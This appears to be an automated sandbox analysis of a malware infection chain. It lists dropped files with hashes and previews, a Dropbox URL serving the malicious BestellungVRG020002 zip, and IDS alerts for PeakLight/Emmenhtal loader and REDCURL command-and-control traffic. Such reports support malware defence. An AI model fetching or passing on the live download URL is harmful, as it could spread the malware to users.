Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ff734dff-738b-4434-b791-19956e0299ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Reputation:	low
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 07:15:45 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9899195812211414
Encrypted:	false
SSDEEP:	48:82y+dKmTtm7KapHNidAKZdA1JehwiZUklqehqy+3:827I9py
MD5:	3D6A2E5B9960A93EA3AAE9827C8845F9
SHA1:	80A3A8C894B83C76DA0A65D24A6115B943999450
SHA-256:	E95A89E6351FF201A6EDA5621F66374D98BC215CED5B2FABB2CBC8A1AFBDC1CE
SHA-512:	CECBB1C29BA9EFEC38C824825EEA97298D8D2E5D87651EF4DAE0A79522620F2078EEA14CC38E272FA544AF924A300FC471A18E04F37DF2875DD772EA4D856DDA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........&......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VYY.A...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 07:15:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.005176337810184
Encrypted:	false
SSDEEP:	48:8My+dKmTtm7KapHNidAKZdA10eh/iZUkAQkqehZy+2:8M7In9QQy
MD5:	F10A844CCC65F0863134B4690BA5C78E
SHA1:	B723DEFBF5321A213112DD06965C132C4BE83BD1
SHA-256:	9FB1048046087EE06A7B71F9F040B020A96C080C7CED290990DD5AD8D2DA763D
SHA-512:	A98779E93193659C16AB1DE32E4F9207EA6B12E6140151ADFAADDBA4EE29F297537B93F81395F28927FCAD8333FF0E25143D8DE74F4E7F4D4DA39787ABE3595F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....P....&......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VYY.A...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.014858456599043
Encrypted:	false
SSDEEP:	48:8ey+dKmTtm7KajHNidAKZdA14tIeh7sFiZUkmgqeh7sny+BX:8e7Iln1y
MD5:	CD5E3416F1C07B46F4BC2EBE782029F9
SHA1:	A2EA2E74A54CBFCE53AE25C5B28FC0D84ADC5D96
SHA-256:	289EB0E1DE3FAA32F948043494F414655A3EEB72B72C15CC1046F376329FF312
SHA-512:	FD2C0C06D54CAAF59E8168C853BDAD21E7F306B761A5761DDDF1C5CAA2038905A2B07BE89A931433B55DDB3FBA5429C070C47394D54C4CDBA097FC5808A2AFAA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 07:15:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.004636551533817
Encrypted:	false
SSDEEP:	48:8lky+dKmTtm7KapHNidAKZdA1behDiZUkwqehNy+R:8q7I0/y
MD5:	C9C22E798B73DA7A034D944B0A3C51C3
SHA1:	7DAB0BB39AA0DDA0CBE47B4D97A27E9C0D20D75A
SHA-256:	EE618BEDAB5F9129406F552DFB141C436F5FEB4EC80EFDF54431CAEF7E3F8CCF
SHA-512:	843429EB80C44AD250DACE24B7E73491F9777B18DD03E8AA62621E1A32E801F46C4A1CE3760842D9A3EB5373ED5986291BCADEF8F37B431658F6800A175C6D27
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........&......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VYY.A...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 07:15:45 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9912984449089306
Encrypted:	false
SSDEEP:	48:8Xy+dKmTtm7KapHNidAKZdA1VehBiZUk1W1qehDy+C:8X7I09jy
MD5:	1558430B33EC3F8E287FEC592A878EF0
SHA1:	3E589792F4A50D15F35D6CFF4F7F403A15D8EB59
SHA-256:	DE0AE4BA8B8C4F167276E7EBE2EDB0C9EE5D6D9D7587D49876E231605BADEA07
SHA-512:	A2B552E46FC0F278085BB25E5BB142BEEDD2D9D498040215AC881D7439A17C03A60A395BF20AD234659806DF2D0865FC5E35E7462A8715EC117EFBCCCE9C1D97
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....g...&......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VYY.A...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 07:15:44 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.0010060941715215
Encrypted:	false
SSDEEP:	48:8Ry+dKmTtm7KapHNidAKZdA1duT6ehOuTbbiZUk5OjqehOuTb1y+yT+:8R7IeTTTbxWOvTb1y7T
MD5:	1DFA43C2BF63464795D233DE26B16DD2
SHA1:	0514772CDD71E730E861DD35619901396C5BFCB0
SHA-256:	62CA0F3C246FE3CC63A68D9FA37BB82C07318F38AA6D768840BD21B8A72D60D1
SHA-512:	AF001F0E3B6777E05EC96A2DA0EFA50ACA768B00D6F23041080002FCB416F57684BDA408E47203CC817CFC8965851840D98CFCF7AE4274915DF93A34FA0ACE56
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....MG...&......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IYY.A....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY.A....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VYY.A....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VYY.A...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VYY.A...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\50e90ad8-c7e3-4c84-813c-786d849f4ee1.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.889732650712845
Encrypted:	false
SSDEEP:	12:5pymc0rRLSsoOOhuBqvWfKg7kVOMy0rYiQec0t:bRMOauBqef71Mft
MD5:	E81EF2F3006024904C21907F993A37F5
SHA1:	FEF4B2D6BF3368AC3E520B767D4560035DB69891
SHA-256:	F7367128CFACFC41DAD0658218059741D42F952C0A6DB60A6A9C91E12BF21184
SHA-512:	E18FBCDEAD2C8A25B55184E4136DF0794730B84D8CA9F0B0A71C7169DBC1B78E1BCD2D0259C4A50B1E87BB270CBFB10D6ECC1594C13FEE7DCD3332526A6F831D
Malicious:	false
Reputation:	low
Preview:	PK.........XY................BestellungVRG020002/PK........;.XY..........+...BestellungVRG020002/BestellungVRG020002.url5....@.....'..%..B.A..P.t..K.. .'Ts..8e....(o.....-KUmZ..>5...O..q.`.......L.<..nq\|.me.....<..j."C$?>q..q.8;#]`V...%.\..A.%~:..K.}/?W..F.....PK...........XY..............$...............BestellungVRG020002/.. ...........;..&....;..&....X...PK..........;.XY..........+.$....... ...2...BestellungVRG020002/BestellungVRG020002.url.. ..............&.....&.......&..PK....................

C:\Users\user\Downloads\BestellungVRG020002.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.889732650712845
Encrypted:	false
SSDEEP:	12:5pymc0rRLSsoOOhuBqvWfKg7kVOMy0rYiQec0t:bRMOauBqef71Mft
MD5:	E81EF2F3006024904C21907F993A37F5
SHA1:	FEF4B2D6BF3368AC3E520B767D4560035DB69891
SHA-256:	F7367128CFACFC41DAD0658218059741D42F952C0A6DB60A6A9C91E12BF21184
SHA-512:	E18FBCDEAD2C8A25B55184E4136DF0794730B84D8CA9F0B0A71C7169DBC1B78E1BCD2D0259C4A50B1E87BB270CBFB10D6ECC1594C13FEE7DCD3332526A6F831D
Malicious:	true
Reputation:	low
Preview:	PK.........XY................BestellungVRG020002/PK........;.XY..........+...BestellungVRG020002/BestellungVRG020002.url5....@.....'..%..B.A..P.t..K.. .'Ts..8e....(o.....-KUmZ..>5...O..q.`.......L.<..nq\|.me.....<..j."C$?>q..q.8;#]`V...%.\..A.%~:..K.}/?W..F.....PK...........XY..............$...............BestellungVRG020002/.. ...........;..&....;..&....X...PK..........;.XY..........+.$....... ...2...BestellungVRG020002/BestellungVRG020002.url.. ..............&.....&.......&..PK....................

C:\Users\user\Downloads\BestellungVRG020002.zip.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.889732650712845
Encrypted:	false
SSDEEP:	12:5pymc0rRLSsoOOhuBqvWfKg7kVOMy0rYiQec0t:bRMOauBqef71Mft
MD5:	E81EF2F3006024904C21907F993A37F5
SHA1:	FEF4B2D6BF3368AC3E520B767D4560035DB69891
SHA-256:	F7367128CFACFC41DAD0658218059741D42F952C0A6DB60A6A9C91E12BF21184
SHA-512:	E18FBCDEAD2C8A25B55184E4136DF0794730B84D8CA9F0B0A71C7169DBC1B78E1BCD2D0259C4A50B1E87BB270CBFB10D6ECC1594C13FEE7DCD3332526A6F831D
Malicious:	false
Reputation:	low
Preview:	PK.........XY................BestellungVRG020002/PK........;.XY..........+...BestellungVRG020002/BestellungVRG020002.url5....@.....'..%..B.A..P.t..K.. .'Ts..8e....(o.....-KUmZ..>5...O..q.`.......L.<..nq\|.me.....<..j."C$?>q..q.8;#]`V...%.\..A.%~:..K.}/?W..F.....PK...........XY..............$...............BestellungVRG020002/.. ...........;..&....;..&....X...PK..........;.XY..........+.$....... ...2...BestellungVRG020002/BestellungVRG020002.url.. ..............&.....&.......&..PK....................

C:\Users\user\Downloads\toto.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	14802896
Entropy (8bit):	7.999311274845818
Encrypted:	true
SSDEEP:	393216:CtDwqXXuWYTW/CwfJHp1h8XDKqgZH+q06hLUSAbZtB5s:CDXXuerfHkIZf06hLwblG
MD5:	A6D6E25EDD413782287C7870716B136F
SHA1:	7FE14F2E69CD198C33522B1A36A4CAB53694D9D0
SHA-256:	C00F9877A051581C3CF57B55945274AA6FB5F717E835FC6FCC390E7466481E5B
SHA-512:	DDE1D1120361F5BFBFD5D97B1587E5A7B4A8643FCA25AA2C9ED0683E51736AD980BA11AE305F2054FC7BD197C26BBB2477815224B9D03643AF5A418283A87B33
Malicious:	true
Reputation:	low
Preview:	PK........4pY................Python/Python312/PK.........k.Y................Python/Python312/DLLs/PK........h..Y.G.........."...Python/Python312/DLLs/_asyncio.pyd.}.xT..I.@.....A...t.#."........@.....D..8s..E.;.2...jmok..Z...k....5!H...[E....:!j..T.....93yh........$....^{..^k.........A...TU.v......cI...W..!.r..w..._....(6..5.O.X.......+.B>..'./^6...9...Y...9.......Ss.O.+....;........C/Qy..P..D...6..;."7.N..a.9*g..H:+..}I]U-....J......qe.z..0Q..:..`M..;6..X.qK...S.a0...B.M........V.~g.;^.Z.<.e5.......a.R..........ny@.........C...?....#{.d(.x.F..=..(..9.j........$..Hl..rX3...v.....{z.k.id.i.g._.o.........x...vo...[..#RX........?.H..Y.RD.......r..R.K..2Lj.3].1...6s....[.VR.d.!VkI..`...Z....k.V..$..`...k.....O.B...........WXmSb.S..^Hv..X;.....z..O...j..5...&.\.5RBM....jFJ...Y.[...&)..r%E........{.4{-..C.yg.l.%..'C.g..[\ct.[%..t..as....u..dsk...# 4X....6..H.....6..$@..t..[g%.v.t..[.......7..K.6.t.0..N....z`n.H.....`n..j.N...an=...`.J.}...s.....

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	downloaded
Size (bytes):	524
Entropy (8bit):	5.889732650712845
Encrypted:	false
SSDEEP:	12:5pymc0rRLSsoOOhuBqvWfKg7kVOMy0rYiQec0t:bRMOauBqef71Mft
MD5:	E81EF2F3006024904C21907F993A37F5
SHA1:	FEF4B2D6BF3368AC3E520B767D4560035DB69891
SHA-256:	F7367128CFACFC41DAD0658218059741D42F952C0A6DB60A6A9C91E12BF21184
SHA-512:	E18FBCDEAD2C8A25B55184E4136DF0794730B84D8CA9F0B0A71C7169DBC1B78E1BCD2D0259C4A50B1E87BB270CBFB10D6ECC1594C13FEE7DCD3332526A6F831D
Malicious:	false
Reputation:	low
URL:	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0
Preview:	PK.........XY................BestellungVRG020002/PK........;.XY..........+...BestellungVRG020002/BestellungVRG020002.url5....@.....'..%..B.A..P.t..K.. .'Ts..8e....(o.....-KUmZ..>5...O..q.`.......L.<..nq\|.me.....<..j."C$?>q..q.8;#]`V...%.\..A.%~:..K.}/?W..F.....PK...........XY..............$...............BestellungVRG020002/.. ...........;..&....;..&....X...PK..........;.XY..........+.$....... ...2...BestellungVRG020002/BestellungVRG020002.url.. ..............&.....&.......&..PK....................

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.4936933125951875
Encrypted:	false
SSDEEP:	3:hYFJAR+mQRKVxLZRtWcyn:hYFDaNZiRn
MD5:	1E2AC613338A8A1B2FAA866942CF7289
SHA1:	57BDF3D09C298EF7626707C60DFAC8E2E12B0405
SHA-256:	D676A2AE7C46320E1591C41EFF3848BBC49C6CD99B9B95FE4E43D6126E2799AA
SHA-512:	FA359C579CBC4994996634DBA18BA29187BC6742C34508D5C3F6530DC14D10807D6BBB8D95DF4225AE6F620B2B517069D0AC4DF8D757105D39FB6D302D570CFF
Malicious:	false
Reputation:	low
Preview:	..Waiting for 5 seconds, press a key to continue ....4.3.2.1.0..

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T10:16:35.799655+0200	2055990	ET MALWARE PeakLight/Emmenhtal Loader Payload Request	1	192.168.2.17	58424	104.16.230.132	443	TCP
2024-10-25T10:16:49.915206+0200	2055990	ET MALWARE PeakLight/Emmenhtal Loader Payload Request	1	192.168.2.17	58430	104.16.230.132	443	TCP
2024-10-25T10:16:50.806401+0200	2055990	ET MALWARE PeakLight/Emmenhtal Loader Payload Request	1	192.168.2.17	58432	104.16.230.132	443	TCP
2024-10-25T10:17:12.560254+0200	2030697	ET MALWARE Suspected REDCURL CnC Activity M1	1	192.168.2.17	58435	104.16.230.132	443	TCP
2024-10-25T10:17:13.469353+0200	2030697	ET MALWARE Suspected REDCURL CnC Activity M1	1	192.168.2.17	58436	104.16.230.132	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:15:43.315224886 CEST	49678	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:15:43.315224886 CEST	49676	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:15:43.315227985 CEST	49677	443	192.168.2.17	204.79.197.200
Oct 25, 2024 10:15:44.810465097 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.810530901 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:44.810614109 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.811072111 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.811124086 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:44.811206102 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.811465979 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.811482906 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:44.811697006 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:44.811717033 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.650684118 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.652750015 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.652769089 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.654234886 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.654325008 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.654335976 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.654377937 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.660377026 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.660562992 CEST	49699	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.660578012 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.660629988 CEST	443	49699	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.662039995 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.662276983 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.662338972 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.663855076 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.663955927 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.663990974 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:15:45.664083004 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.664339066 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:15:45.664443970 CEST	443	49700	162.125.66.15	192.168.2.17
